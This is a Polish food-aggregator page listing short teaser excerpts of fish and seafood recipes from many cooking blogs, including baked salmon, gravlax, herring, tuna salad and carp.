Kuchnia w czekoladzie
Łosoś pieczony w papilotach z pastą chili, limonka i mięta oraz frytki z batata 131

układamy na kawałku papieru do pieczenia, który zwijamy dość szczelnie. Tak przygotowanego łososia wkładamy do piekarnika na 9-10 minut. Wyciągamy i odkładamy na 4-5 minut, by ryba odpoczęła. Frytki z batata Ziemniaka obieramy, kroimy w plastry o grubości 0,5 cm i następnie paski o tej samej grubości. Szalotki kroimy w ćwiartki. W naczyniu żaroodpornym lub na blaszce

Mango Papaja
Risotto- podstawy. Z krewetkami i awokado 171

krótko. Jeśli natomiast chcecie wydobyć z niego bardziej orzechowy smak- poczekajcie aż ryż lekko zbrązowieje. Ta druga opcja jest fajna do risotto z boczkiem albo mięsem wołowym, do ryb i warzyw ja osobiście preferuję wersję bianco.   Do ryżu wlewamy partiami odcedzony bulion z przyprawami- po około60ml- czyli ilość równa klasycznej łyżce wazowej. Nie dolewamy więcej do chwili, gdy ryż

Karo in the Kitchen
Curry z warzyw letnich z krewetkami i świeżym kokosem 183

ostrości nie ginie. Wszystko gra! Curry to nie proszek. Chociaż kupujemy przyprawę o nazwie handlowej curry, ta nazwa określa sposób przygotowania potrawy pochodzącej z południowych Indii. Wszystkie elementy – warzywa, ryby, owoce morza czy mięso i inne składniki lądują razem w sosie. Sama nazwa wzięła się od słowa „kari” pochodzącego z języka tamilskiego, a oznaczającego dosłownie „przyprawiony sos”. Pierwsze europejskie wzmianki

Karo in the Kitchen
ŁOSOŚ PIECZONY W ZIOŁACH ZE SZCZYPIORKACH 185

szczypiorku  łyżka ziół prowansalskich  łyżka oliwy  sól, pieprz świeżo mielony lub zgnieciony w moździerzu  kawałek foli aluminiowej  kilka plastrów cytryny  Sposób przyrządzenia:  Rybę dokładnie opłukać wysuszyć ręcznikiem papierowym, posypać solą i pieprzem z każdej strony oraz ziołami. Szczypiorek pokroić i posypać nim filet z łososia po stronie bez skóry, przykryć plastrami cytryny

pieprzny smaczek
Tatar z łososia po azjatycku 208

żółtej 1/6 papryki zielonej 1/6 papryki czerwonej 1/3 pęczka natki pietruszki 1 łyżka słodko- pikantnego sosu chilli TaoTao 1 łyżka soku z limonki sól i pieprz do smaku PRZYGOTOWANIE Rybę drobno posiekaj. Warzywa dokładnie umyj i również bardzo drobno posiekaj. Sparz skórkę z limonki i zetrzyj na tarce o małych oczkach. Składniki przełóż do miski, dodaj pozostałe składniki i dokładnie

ClauditteMissCooking
Stek z tuńczyka / Tuna steak 170

Tuńczyk to bogactwo cennego białka oraz witamin z grupy B, witaminy A i D. Spośród ryb morskich zawiera najwięcej kwasów tłuszczowych. Na naszych stołach najczęściej gości w wersji konserwowej, natomiast najbardziej wartościowy jest podawany w formie marynowanej lub surowej.  Pomimo ceny czasem warto po niego sięgnąć i rozkoszować się niepowtarzalnym smakiem. Dziś proponuję tuńczyka w postaci steków, które przygotowuje

Magiczna kuchnia Darii
Pieczony łosoś z wędzonym boczkiem 173

pergaminowym. Piecz w temperaturze 190 C przez 25-35 minut. Łososia nie trzeba polewać dodatkowym tłuszczem, świetnie wytapia się tłuszczyk z boczku i to on nadaje świetnego aromatu. Taka ryba świetnie smakuje z pieczonymi ziemniaczkami, które możesz upiec w tym samym czasie :) Smacznego

Niezły Młynek
Sałatka z tuńczykiem 139

dostrzegłam go w ofercie jednego ze sklepów, ale w gazetce jedynie, bo w samym sklepie już go nie znalazłam. Bałabym się chyba zresztą przyrządzić tak drogą w Polsce rybę. A nuż bym coś zepsuła? Spaliła, źle przyprawiła? Póki co zostanę przy tuńczyku z puszki i sałatce. Nie cierpię, bo uwielbiam tę sałatkę.  SAŁATKA Z TUŃCZYKIEM Składniki: - 1 puszka tuńczyka

Życie zamknięte w smaku
Stir fry z halibutem 117

pół czerwonej papryki - 70 gram pędów bambusa - 70 gram kiełków fasoli mung - 3 łyżki octu ryżowego - 3 łyżki wody - 5 łyżek jasnego sosu sojowego - 3 łyżki brązowego cukru Przygotowanie: Rybę podsmażamy na odrobinie tłuszczu. Dodajemy cukinię i paprykę pokrojone w kostkę, pędy bambusa i kiełki fasoli. Makaron przygotowujemy zgodnie z opisem na opakowaniu i wrzucamy na patelnię. Podsmażamy przez chwilkę

Życie zamknięte w smaku
Pstrąg łososiowy pod kołderką z awokado, mozzarelli i migdałów (danie na podwyższony cholesterol) 103

Wspominałam już przy okazji niskocholesterolowego miksu warzywnego , że chciałam przyrządzić rodzicom obiad, spełniający kryteria kuracji dla osób o podwyższonym poziomie cholesterolu. Poza tamtymi warzywami przygotowałam wtedy rybę - pstrąga łososiowego i połączyłam do z idealnym dla tego typu wyników krwi awokado oraz odtłuszczoną mozzarellą i migdałami. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject

Życie zamknięte w smaku
Łosoś duszony w śmietanie 91

Dzięki śmietanie łosoś nabiera delikatności. Ryba prosta w przyrządzeniu i jaka pyszna! Gorąco polecam. Składniki: 2 kawałki łososia Vegeta Mąka Olej 150 ml śmietany 18% słodkiej 1 spora cebula Wykonanie: Łososia przyprawiamy tylko vegetą, opruszamy mąką i podsmażamy na oleju. Odkładamy na talerz. Na tej samej patelni podsmażamy pokrojoną cebulę. Dodajemy śmietanę i dodatkowo ½ łyżeczki vegety. Ponownie wkładamy łososia

Smaki Ewy
Pasta twarogowo – rybna 104

wielu lat robi się taką pastę. Jak sięgnę pamięcią pierwszą taką pastę zrobił mój mąż. Pasta przyjęła się w rodzinie i ma wielu amatorów. Składniki: 250 gram twarogu Ryby w sosie pomidorowym z puszki Wykonanie: Twaróg kruszymy w misce. Dodajemy całość z rybnej puszki, razem z sosem. Wszystko razem mieszamy i gotowe. SMACZNEGO

Smaki Ewy
Szczupak w galarecie 199

łyżeczka soli 1 łyżeczka vegety 2 łyżeczki cukru Żelatyna Wykonanie: Warzywa gotujemy w wodzie z solą, cukrem i przyprawami, na tym etapie nie dodajemy jeszcze octu ( jeżeli mamy więcej ryby pamiętajmy tylko o proporcjach wody, przypraw i octu )W między czasie szczupaka oczyszczamy, również z łusek. Kroimy w dzwonka, myjemy i w takiej formie dodajemy do ugotowanego wywaru. Wolno gotujemy

Smaki Ewy
Sałatka z makaronem i wędzonym łososiem 161

Sałatek nigdy nie jest za dużo i na ogół każdy je lubi. Początkowo chciałam zrobić sałatkę z tuńczykiem, ale znalazł się amator ryby – kot. Tak więc dzisiaj sałatka makaronowa z wędzonym łososiem, pasuje nie tylko na śniadanie ale i na kolację a składniki do niej nie są wymyślne. Składniki: 1 szklanka makaronu typu kokardki 100 gram wędzonego łososia 2 ogórki

Smaki Ewy
Twarogowa pasta kanapkowa z wędzonym łososiem i papryką 151

smaczną pastę do kanapek. Może być atrakcją śniadania lub kolacji, a podany na krakersach lub kawałkach pumpernikla  przekąską niewielkiego przyjęcia. Lubię fantazje  twarogowe, szczególnie w połączeniu z rybą - w tym przypadku wędzoną. Składniki: Twaróg około 200 g Łosoś wędzony 50 g 1/2 świeżej papryki 1 łyżka majonezu Pieprz, mielone chili. Wykonanie: Twaróg rozdrabniamy widelcem i mieszamy z pokrojonymi

Smaki Ewy
Smażona flądra. Lepsza niż z nadmorskiej smażalni :) 152

smaku 3-4 łyżki mąki 1/2 łyżeczki mielonej słodkiej papryki olej lub masło do smażenia (najlepiej pół na pół) w takiej ilości, żeby dno patelni było pokryte tłuszczem Ryby umyć, osuszyć. Natrzeć solą i pieprzem. Paprykę wymieszać z mąką. Na patelni rozgrzać tłuszcz. Tuż przed smażeniem każdą tuszkę panierować w mące, strzepując jej nadmiar. Układać na rozgrzanej patelni niezbyt gęsto

Pełny talerz
Pasta z makreli 137

wędzona makrela 50 g masła 100 g koncentratu pomidorowego 30% Sól, pieprz Sposób przygotowania Makrelę obieramy ze skóry, usuwamy ości i rozdrabniamy w blenderze lub widelcem. Do tak przygotowanej ryby dodajemy koncentrat pomidorowy, masło pieprz i sól. Całość mieszamy i wstawiamy na 15 minut do lodówki. Podajemy na tostach, przed podaniem dekorujemy drobno siekaną natką pietruszki

Miód i pieprz
Aromatyczna potrawka z dorszem i witbierem 185

odparować sos aż się zagęści. Ryż brązowy posolić i ugotować w 0,5 l wody. Ryż nałożyć na talerze, polać sosem, na wierzch wyłożyć duszone warzywa i usmażone kawałeczki ryby. Można polać dodatkowo sosem. Przystroić świeżą zieleniną i koniecznie zaserwować z kuflem schłodzonego witbiera, który doskonale komponuje się z tą potrawą. Smacznego

Ze smakiem i z pasją
Makrela z jajkiem 165

sterty starych ale nie publikowanych jeszcze na blogu. Na śniadanie lub kolację zwykła ale bardzo smaczna pasta z wędzonej makreli i jajka. Makrela to jedna z moich ulubionych ryb wędzonych. A w takiej postaci czyli jako pasta to już rewelacja. Tego typu pasty możemy zrobić na wiele sposobów i za każdym razem będziemy mile zaskoczeni nie tylko smakiem

Ewa w kuchni
Gravlax – skandynawski marynowany łosoś 221

burakach, cukrze. Gravlax oznacza dosłownie z języka szwedzkiego ( gravad lax) pogrzebanego łososia. Proces marynowania trwa kilka dni. Gravlax może być przyrządzony tylko ze świeżego łososia (używanie tej nazwy dla ryb wędzonych, które można znaleźć w sprzedaży) jest nadużyciem. Prawdą jest natomiast, że gravlax zamarynowany rzeczywiście smakuje jak delikatnie wędzony łosoś, ale nic nie może mu dorównać. Czas poświęcony na przygotowanie

Pociąg Do Kuchni
Łososiowe trio z rieslingiem 150

nuty naftowe, asfaltowe, apteczne. Często pachną „starymi podkładami kolejowymi”. Różnorodność Rieslingów jest naprawdę przeogromna. Dzięki temu mają bardzo wszechstronne zastosowania kulinarne. Te wytrawne dobrze sprawdzą się z daniami z ryb oraz z owocami morza i lekkimi sałatkami. Będą idealne do szparagów oraz lekkich dań z drobiu. Te słodsze doskonale uzupełnią dania orientalne i dobrze przyprawione. Najsłodsze można pić same

królestwo garów
Łososiowe trio z rieslingiem 149

nuty naftowe, asfaltowe, apteczne. Często pachną „starymi podkładami kolejowymi”. Różnorodność Rieslingów jest naprawdę przeogromna. Dzięki temu mają bardzo wszechstronne zastosowania kulinarne. Te wytrawne dobrze sprawdzą się z daniami z ryb oraz z owocami morza i lekkimi sałatkami. Będą idealne do szparagów oraz lekkich dań z drobiu. Te słodsze doskonale uzupełnią dania orientalne i dobrze przyprawione. Najsłodsze można pić same

królestwo garów
Curry z łososiem i makaronem ryżowym 178

chili, czosnek, marchew i czerwoną paprykę. Dodajemy pastę curry i energicznie mieszamy. Filet z łososia kroimy na mniejsze kawałki i dodajemy do smażących się warzyw. Mieszamy ostrożnie, żeby kawałki ryby nie rozpadły się podczas smażenia. Następnie dodajemy mleko kokosowe, doprowadzamy do wrzenia i gotujemy około 5 minut.  Przyprawiamy solą i sokiem z limonki. Podajemy z makaronem ryżowym, posypane szczypiorkiem

Smakowity Blog Kulinarny
Pieczony łosoś 185

solą i białym pieprzem. Wstawić na godzinę do lodówki. Kawałki łososia układać na folii aluminiowej (stroną błyszczącą do wewnątrz), skropić oliwą z oliwek i posypać koperkiem. Szczelnie owinąć folią. Rybę ułożyć na blaszce i wstawić do piekarnika rozgrzanego do 180 ° C. Piec

Atlas Smaków
Ryba w cieście naleśnikowym 133

Składniki: Filety rybne 1 szkl. Mąki 0,5 szkl. wody 1 jajko sól pieprz 4 łyżeczki przyprawy do ryb olej do smażenia Wykonanie: Wszystkie składniki łączymy ze sobą i dokładnie mieszamy. Filety zanurzamy w cieście i układamy na rozgrzanej patelni. Smażymy na niewielkim ogniu do złotego koloru

The Sweet Damsel
MAKARON Z ŁOSOSIEM I CUKINIĄ W LEKKIM SOSIE CYTRYNOWYM 163

jogurtu greckiego só,pieprz 1/2 cytryny Wykonanie: *Łososia oprószamy solą i pieprzem. Grilujemy zawiniętego w folię aluminiową. Pod koniec grilowania czyli po ok 15 minutach spryskujemy sokiem z cytryny. Rybę kroimy na mniejsze kawałeczki. *Cukinię kroimy w plastry, grilujemy.Gotową oprószamy solą.  *Makaron gotujemy al dente w osolonej wodzie. Hartujemy zimną wodą, odcedzamy, przekładamy na talerze wcześniej obłożone grilowaną

Z Majeczką w kuchni
Miruna w chrupkim makaronie na duszonym szpinaku. 175

koniec dodajemy śmietanę dokładnie mieszamy i wyłączamy gaz. Płaty miruny kroimy na pół, delikatnie osuszamy i posypujemy solą.  Bułkę tartą łączymy w proporcjach 1:1 z mąką pszenną. Rybę panierujemy w bułce z mąką lekko ją dociskając i smażymy na mocno rozgrzanym  oleju na złoty kolor z każdej ze stron. Osobiście życzę smacznego

Malinowe Pocałunki
Tarta z tuńczykiem. 168

jest już gotowy zdejmujemy patelnię z ognia, lekko studzimy, dodajemy śmietanę, roztrzepane jajka oraz ser, doprawiamy solą i pieprzem. Formę wykładamy ciastem, na nim równomiernie rozkładamy farsz, wciskamy kawałki ryby, z nadmiaru ciasta wycinamy kratkę i zdobimy nią wierzch ciasta, całość smarujemy żółtkiem, wkładamy do gorącego piekarnika i pieczemy około 20-25 minut, aż się ładnie zarumieni. Podajemy zarówno

Rozpustne gotowanie
Śledzie po kaszubsku. 175

Niesamowicie pyszne śledzie! Przynajmniej dla mnie i dla mojej rodzinki. Mięciutkie kawałki ryby w towarzystwie cebuli, sosu pomidorowego i rodzynek wyjątkowo nam posmakowały. Są proste w przygotowaniu i zawsze się udają ;) Przepis podpatrzyłam u  Krysi  i na kilku innych blogach, nieco je zmodyfikowałam do naszych potrzeb i wyszło pysznie. Polecam!!! Składniki na Śledzie po kaszubsku

Rozpustne gotowanie
Pieczony łosoś z domowym pesto z rukoli 236

użyłam rukoli, ze swojego ogródka, którą zasadziłam już jakiś czas temu. W przepisie zasmakował mi szczególnie pomysł na zamarynowanie łososia w białym winie, dzięki czemu ryba nabrała bardzo fajnego, wyrazistego smaku. Przepis pochodzi z książki „Make cooking easier, przepisy na cztery pory roku” autorki Zosi Cudny, którą recenzowałam tutaj . Post Pieczony łosoś

Marta Gotuje
Wakacyjny obiad. Dziki ryż z młodymi warzywami i łosoś z sosem agrestowym 210

wakacyjnego dania, dziki ryż z młodymi warzywami i sosem agrestowym. Można go podać z dowolnymi dodatkami, w przepisie z  łososiem gotowany na parze ale mogą to być inne ryby, chuda wieprzowina, wołowina lub drób wg. własnych upodobań, lub bez dodatków jako sałatkę na ciepło lub zimno. Sałatka z dzikiego ryżu jest świetną alternatywą dla kanapek zabieranych do pracy

SzczyptaSmaQ
Pełnoziarniste tagiatelle zapiekane z krewetkami 106

15minut. Przed poda-niem skrapiamy sokiem z cytryny i oprószamy świeżo mielonym czarnym pieprzem. Smacznego! PS. 1 Do krewetek możecie użyć gotowego zestawu przypraw z cyklu "Przyprawa do ryb i owoców morza" PS. 2 Całość udekorowałam tartą skórką z cytryny i zielonym ogórkiem. Przepis bierze udział w akcji

Spektrum Smaku
Łosoś i eksplozja koloru! 180

zioła dalmatyńskie Do dzieła: Ryż gotujemy w osolonej wodzie. Łososia osuszamy papierowym ręcznikiem, przyprawiamy solą, pieprzem i ziołami. Na patelni rozgrzewamy łyżkę oliwy z oliwek i smażymy na niej rybę. Ja nie robię tego w bardzo wysokiej temperaturze. U mamy korzystam z kuchni indukcyjnej i tutaj wybieram połowę mocy grzania - a więc to taki nie za duży ogień zwykłej kuchenki

Spektrum Smaku
Rillettes z łososia i zielonego pieprzu 151

rondelku wymieszałem wodę z winem. Dodałem grubo posiekaną cebulę, liść laurowy i czarny pieprz. Zagotowałem. Dodałem filet z łososia, zmniejszyłem ogień i gotowałem bez przykrycia ok. 5 minut, aż ryba była miękka. Zestawiłem z ognia i ostudziłem w wywarze przez 5 minut, następnie odcedziłem. Usunąłem z filetów skórę i ości. Mięso rozgniotłem widelcem. Dodałem wędzonego łososia, masło, skórkę z cytryny

R'n'G Kitchen
Marchewkowy mus w liściach pora 189

dobrze osączyłem i ułożyłem jeden obok drugiego na kawałku przezroczystej folii spożywczej. Pozostałe pory pokroiłem drobniutko w kostkę i rozsypałem na rozłożonych liściach. Posoliłem, popieprzyłem, przykryłem plastrami łososia. Na rybie rozłożyłem mus z marchewki. Za pomocą folii zwinąłem liście porów w roladki i umieściłem je we wkładce do gotowania na parze. Wstawiłem wkładkę z roladami do garnka z wrzącą wodą

R'n'G Kitchen
Rolada szpinakowa z wędzonym łososiem 168

mną od dłuższego czasu. Aż w końcu ją zrobiłam. Powiem Wam, że w brew pozorom jest bardzo prosta i szybka w przygotowaniu. Zamiast łososia możemy dać inną wędzoną rybę czy szynkę. Jednak według mnie najlepsza jest z łososiem. Myślę ze taka rolada może być fajną i elegancką   przystawką na każde przyjęcie czy spotkanie. Zapraszam!!!! Składniki: 150 g wędzonego łososia

Passion of Cooking
4. Ryba z cukinią i szynką parmeńską 128

postach, udostępniać przydatne porady i wiele innych :) Rybki są świetnym źródłem białka, są bogate w wielonienasycone kwasy tłuszczowe z rodziny omega-3 . W dodatku sandacz, którego dzisiaj proponuję, jest rybą chudą zawierającą witaminy z grupy B. Dzisiaj prosty, niebanalny pomysł na rybkę, która zrobiłam wczoraj dla całej rodzinki. Co ciekawe, robi się ją szybko i nawet niewprawiony kucharz podoła

Be Fit Be Strong
Niezła rybka... 179

smak i jakość...i przygotuję z nich coś na lato.  SEKO SA zajmuje się głównie produkcją marynat rybnych, wyrobów rybnych na bazie śledzia solonego, sałatek i past rybnych, ryb smażonych w zalewach octowych i pomidorowych oraz innych rybnych wyrobów garmażeryjnych. W ofercie jest ponad 200 pozycji asortymentowych opartych głównie na bazie śledzia i makreli sprowadzanych z Islandii, Norwegii, Danii

Z Kuchni Do Kuchni
Zupa pomidorowa z rybą, cukinią i świeżym ziołami. Giancarlo Russo i Philipiak Milano. 167

cebulkę. Zmniejszyć gaz i gotować około 20 minut, do czasu, aż marchewka będzie miękka. Następnie dodać pokrojonego w większą kostkę dorsza i dalej gotować około 5 minut, uważając aby ryba się nie rozpadła. Przed końcem gotowania dorzucić pokrojony w mniejsze kawałki zielony groszek i posiekane świeże zioła. Cukinie pokroić przy pomocy obieraczki julienne na cieniutkie paseczki. Zupę nakładać do miseczek

Plate of Joy
Pstrąg w szynce szwarcwaldzkiej z limonką i kolendrą 144

umyć i osuszyć. Czosnek wraz z kolendrą, solą i sokiem z limonki ugnieść w moździerzu. Część ziół włożyć do środka pstrąga razem z plastrami imbiru, pozostałą częścią nasmarować skórę. Rybę owinąć plastrami szynki, zawinąć w folię aluminiową lub papier do pieczenia i włożyć do nagrzanego do 180*C piekarnika na ok 25-30 min. Podawać np. z młodymi ziemniakami

Jemy Pijemy
Grillowany łosoś z sosem jogurtowo-cytrynowym i słodką sałatką 182

podany z sałatką na słodko. Ale jak to z arbuzem i truskawkami? Zapytają niektórzy ;) Spróbujcie a przekonacie się jak do łososia pasują słodkie owoce. Zresztą zajrzyjcie do kategorii „ryby” a znajdziecie tam mnóstwo przepisów na takie ciekawe połączenia smaków :) 2 filety z łososia (po ok. 150 g) marynata: łyżka oliwy łyżka soku z cytryny łyżeczka zielonego tabasco

Mienta blog
Pstrąg pieczony z pieczarkami, tymiankiem i ziemniakami 213

drzewa wyglądają. Póki co postanowiłam sięgnąć po grzyby suszone i świeże, ale sklepowe. Kilka dni temu na obiad były znowu klopsiki w sosie grzybowym a dzisiaj proszę - pieczona ryba z pieczarkami i złotymi, pysznymi ziemniakami poleca się serdecznie. I ten zapach tymianku! Niedużo wysiłku przy przygotowaniu takiego obiadu i mało garów do mycia bo upiekłam wszystko na jednej blasze. Zestaw

Smaczna Pyza
Sushi w pięciu smakach. 332

dodatki 100g wędzonego łososia 100g wędzonego halibuta 8 krewetek 6-8 paluszków krabowych awokado zielony ogórek czerwona papryka mango rzodkiewka szczypiorek majonez lub inne ulubione dodatki : surowy tuńczyk/ łosoś, ryba maślana, serek kremowy, krewetki w tempusze, pieczony łosoć, tykwa, pędy bambusa, kiełki etc. SPOSÓB PRZYGOTOWANIA 1. Odmierzyć 1,5 szklanki ryżu, przepłukać kiklukrotnie aż woda z mętnej stanie się przezroczysta

DefinicjaSmaku
Pieczony dorsz na papryce i pomidorkach koktajlowych 161

Walentynki już jutro! Jeśli nie macie jeszcze pomysłu na przyrządzenie kolacji w tym dniu, polecam Wam dorsza pieczonego na papryce i pomidorkach marynowanych w oliwie z

DefinicjaSmaku
Paluszki rybne z pomidorowo- kolendrową salsą 215

zaś smak będzie o niebo lepszy! :) SKŁADNIKI (około 15 paluszków) paluszki rybne 150g filetów z dorsza 300g filetów z halibuta lub łososia (lub pół na pół, lub innej tłustej ryby) 2 kopiaste łyżeczki bułki tartej 2 łyżki posiekanej kolendry lub natki pietruszki 1/2 cebuli 1 jajko świeżozmielony pieprz sól morska panierka bułka tarta /sezam/ płatki owsiane/ pokruszone krakersy mąka orkiszowa/kukurydziana/pszenna

DefinicjaSmaku
Pasta jajeczna z natką pietruszki i śledziem 174

wymyślił, po prostu jest i już. A w dodatku jest niesamowicie pyszny :) Niby zwykła pasta, a jednak ma coś w sobie. Bardzo ważnym elementem tej pasty jest prawidłowo przygotowana ryba. Płaty śledziowe należy porządnie wymoczyć, pokroić w mniejsze kawałki ułożyć w słoiku, dodać posiekaną cebulkę i zalać olejem. Śledź powininem w takiej zalewie odstać przynajmniej noc, wtedy jest już idealny

DefinicjaSmaku
MAŚLANO ZIOŁOWY PSTRĄG ŁOSOSIOWY 137

Naszło mnie na porcje ryby. Padł wybór na pstrąga łososiowego. Fajny, szybki prosty sposób przygotowania, możemy tez tak ugrillować   Składniki: płat pstrąga łososiowego 4 łyżki masła 1 łyżka papryki słodkiej kilka gałązek lubczyku kilka gałązek oregano sól,pieprz sok z cytryny Wykonanie: Pstrąga nacieramy solą i pieprzem, skrapiamy sokiem z cytryny. Lubczyki oregano siekamy  drobniutko,łączymy z papryką

Z Majeczką w kuchni
Łosoś w glazurze w azjatyckim stylu | W sojowo-miodowo-imbirowej marynacie 221

zaskakuje domowników, jak ryba bez panierki, hehe żartuję. Ale chyba coś w tym jest, bo już kilka razy robiłam łososia tym sposobem i za każdym razem słyszałam głosy zachwytu (chwilo trwaj:) SKŁADNIKI na 4 filety łosoś (użyłam 400g) 3-4 łyżki sosu sojowego 1-2 łyżki sosu ostrygowego (opcjonalnie) 2-3 łyżki miodu 1/2 łyżki startego imbiru (lub w proszku

Zofiana
Łosoś z grilla 283

skóry. Ja również stosuję się do tej reguły i mięso jest zawsze soczyste, ale zarazem wypieczone i lekko rumiane z wierzchu. Pomimo, że jak wspomniałem, łosoś raczej do chudych ryb nie należy, zwykle nacieram go delikatnie od strony mięsa niewielką ilością oliwy – trochę „na wszelki wypadek”, aby na pewno się nadmiernie nie spiekł na powierzchni i nie przywarł do rusztu

Kulinarna Pokusa
Sałatka z makrelą i ogórkami konserwowymi 339

puszki kukurydzy, 1/2 słoika selera wiórki, 1 czerwona cebula, 3 jajka, 3,5 łyżki Majonezu Kieleckiego WSP Społem, sól, pieprz. PRZYGOTOWANIE: 1. Z makreli usuwam skórę oraz ości. Rybę rozdrabniam na mniejsze kawałki. Ogórki konserwowe kroję w małą kostkę. Seler i kukurydzę odsączam z zalewy. Cebulę obieram i kroję w kostkę. Jajka gotuję na twardo, obieram i kroję w kostkę

Tradycyjna kuchnia Kasi
Łosoś marynowany a la gravlax 210

lekko dociskając.  3 . Deskę z łososiem owijamy kilkakrotnie folią, owijając tylko wszerz krótsze boki i szczelnie dociskając. Kładziemy deskę w większej misce pod lekkim kątem, aby woda z ryby, którą wyciągnie sól, spływała do miski.  4 . Miskę z łososiem wstawiamy do lodówki, obciążamy (ja kładę na folię z łososiem kilka pełnych słoików, np. z dżemem) na minimum

Kuchnia Prezydentowej
Rybne Vindaloo 177

patelni (lub garnku o grubym dnie) rozgrzać masło ghee, włożyć pastę, smażyć aż przyprawy wyraźnie puszczą aromat, wtedy dodać czosnek, imbir, podsmażyć 3 minuty, dodać cebulę, zeszklić i wrzucić rybę, zmniejszyć gaz, przykryć patelnię i dusić pod przykryciem ok. 5 minut. 5 . Dodać pokrojone ćwiartki pomidory z zalewy, zagotować, dolać mleczko kokosowe, szczyptą cynamonu, zagotować i dodać tuńczyka, bardzo delikatnie

Kuchnia Prezydentowej
Wietnamska kwaśna zupa z łososiem (Canh chua ca hoi) 183

Canh Chua (dosłownie " kwaśna zupa ") jest zupą regionalna Delty Mekongu południowego Wietnamu . Ta prosta i niezwykle smaczna zupa występuje w wielu odmianach. Do jej przygotowania używa się przeróżnych gatunków ryb, występujących w rzece Mekong oraz bulionu, któremu kwaśny smak nadaje proszek z tamaryndowca i pomidory. Ważnym składnikiem są też kiełki fasoli i kawałki ananasa, czasem dodaje się też inne warzywa

Kuchnia Prezydentowej
Łosoś z warzywami 166

Łosoś to jedna z ryb, która bardzo często gości w moim domu.   Zawsze przygotowywałam go w piekarniku, ale nawet najsmaczniejsza potrawa szybko się nudzi. Także postanowiłam poszukać nowej inspiracji i nowego przepisu. Przepis ten dostałam od kuzynki i powiem szczerze, że się w nim zakochałam. Jest bardzo prosty i szybki w przygotowaniu. Łosoś z tego przepisu wychodzi bardzo aromatyczny

Passion of Cooking
Dorsz w sosie pomidorowo-cebulowym 108

Dziś udało mi się kupić znakomite filety z dorsza. Nie pamiętam już kiedy je ostatnio jadłam. Powędrowały od razu na stół. Ponieważ nie przepadam za panierowanymi rybami, poszukałam trochę w necie, sprawdziłam stan mojej spiżarni i zabrałam się do dzieła. Wyszło przepyszne, odrobinę pikantne danie. Na pewno jeszcze nie raz do niego powrócę.” Czytaj więcej

Wiem co jem
Sola w chrupiącej panierce 170

wspaniała chrupiąca panierka. Jej główna zaletą oprócz chrupkości jest to, że w przeciwieństwie do tradycyjnej bułki tartej wchłania znacznie mniej tłuszczu, dzięki czemu cała potrawa jest mniej kaloryczna. Rybę zaserwowałam z ziemniakami z wody i surówką z kiszonej kapusty.” Czytaj więcej

Wiem co jem
Roladki z pstrąga w pikantnym sosie marchewkowym 117

Zamiast tradycyjnych smażonych ryb w tym roku będą gotowane na parze roladki z pstrąga w pikantnym sosie marchewkowym. Lekko i pysznie. Oczywiście nie musicie czekać do wigilii by je przygotować. Możecie to zrobić już dziś. Przepis powstał na potrzeby świątecznego e-booka zawierającego 50 przepisów na zbliżające się Święta Bożego Narodzenia w ramach współpracy z serwisem ZpierwszegoTloczenia.pl oraz Fooder.pl

Wiem co jem
Karp z nadzieniem pieczarkowym 100

karp na każdym wigilijnym polskim stole”. Nie wszyscy jednak za nim przepadają ze względu na jego specyficzny, lekko mulisty posmak i zapach. Jest jednak na to rada. Wystarczy obłożyć rybę plastrami cebuli oraz plasterkami czosnku i zostawić na kilka godzin w lodówce. Można też przed skrobaniem skropić karpia sokiem z cytrynu. Sprawiając karpia pamiętajcie o schowaniu łuski do portfela

Wiem co jem
Sałatka ,,Pluskające rybki’’ 225

Pozostając w temacie ryb, proponuję pyszną sałatkę warstwową z wędzoną makrelą. Ozdabiając ją wzorowałam się na przepisach wypatrzonych na portalu przyslijprzepis.pl, ale składniki zestawiłam według własnego upodobania. Składniki: 2 ziemniaki (20 dag) 2 marchewki (25 dag) kilkucentymetrowy kawałek białej części pora 2 ogórki konserwowe (10 dag) 10 dag żółtego sera – u mnie morski 2 jajka 1 średnia wędzona makrela sól

Kuchenne zapiski Edyty
Kotlety rybno-warzywne na fasolce szparagowej 152

Czasem zdarza się, że po rozmrożeniu ryby zostaje z niej maleńka garstka, którą nie jestem w stanie sama się najeść, nie wspominając już o nakarmieniu rodziny. Ale poradziłam sobie z tym problemem, wykorzystując przy okazji korzeń pietruszki, jaki pozostał mi z rosołu i końcówkę świeżej papryki. Kotleciki były dobrze przyprawione, z wierzchu ładnie zrumienione, a wśrodku delikatne jak puch. Doskonale

Kuchenne zapiski Edyty
Tołpyga pieczona z kalafiorem i papryką 196

proponuję tołpygę pieczoną z kalafiorem i papryką. Tołpyga ma niestety troszkę ości, a nie każdy lubi je wydłubywać z talerza, więc spokojnie można zastąpić ją filetem z innej, ulubionej ryby. Swoją porcję zjadłam z kaszą kuskus, mąż wolał kaszę jęczmienną, ale ziemniaki też byłyby całkiem na miejscu :) Czytaj więcej

Kuchenne zapiski Edyty
Karp z grilla 134

szybko z kapusty, pomidorków i tego co było akurat w lodówce i lekki i zdrowy obiadek is ready :D Składniki: kawałki karpia (dowolna ilość) sok z cytryny przyprawa do ryb sól Karpia skrapiamy sokiem z cytryny i nacieramy przyprawą do wyb. Następnie lekko z wierzchu solimy. Kładziemy rybkę na folię aluminiową (skórą do dołu), podwijamy lekko jej brzegi

My simple kitchen
Pstrąg łososiowy z parowaru 126

odrobiną oliwy z oliwek. Górę (bok bez skóry) obłożyć posiekanym koperkiem i estragonem (bez estragonu jest również smaczne). Wyłożyć na tackę w parowarze przeznaczoną do przygotowywania mięs lub ryb (u mnie górna część parowaru). Na niższych poziomach można wyłożyć obrane i pokrojone na mniejsze części warzywa (u mnie brokuły i marchewka) Parowar przygotowujemy zgodnie z instrukcją, nalać wody, zamknąć

Kuchcik gotuje
Łosoś grilowany w papilotach 201

Ryba z grilla jest pyszna. Moja zawsze z nutą cytryny i koperku. Taką uwielbiamy i taka na grillu ląduje i tym razem. Czasami najprostsze rozwiązania są najlepsze przecież. Smacznego! Składniki : * łosoś surowy * 2 cytryny * pęczek koperku  * sól, świeżo mielony czarny pieprz  * łyżka masła  Przygotowanie : Łososia kroimy na porcje. Każdy kawałek układamy na folii, dodajemy odrobinę masła, przyprawy

Magiczne Życie Marty
Śledzie po kaszubsku 220

internecie znalazłam wiele wersji śledzia po kaszubsku. Bardzo mnie to zdziwiło, bo byłam przekonana, że te śledzie robi się w jeden określony albo choć podobny sposób, jak np. rybę po grecku. Długo przeglądałam najróżniejsze przepisy układałam w głowie proporcję, składniki i tak w końcu stworzyłam swoją wersję. Dziś rano z trwogą je spróbowałam i powiem nieskromnie, wyszły mi! ;) nigdy

Zdrowo i dietetycznie. Moja rzeczywistość
